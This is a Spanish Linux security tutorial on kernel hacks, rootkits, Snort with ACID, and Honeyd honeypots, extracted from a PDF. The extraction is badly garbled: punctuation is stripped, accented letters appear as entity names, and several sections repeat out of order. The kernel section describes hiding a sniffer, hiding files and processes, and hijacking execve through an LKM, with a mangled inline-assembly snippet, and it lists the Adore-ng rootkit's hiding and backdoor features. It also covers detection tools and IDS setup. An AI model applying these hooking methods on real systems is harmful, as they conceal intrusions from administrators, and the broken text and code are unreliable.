- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 27: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

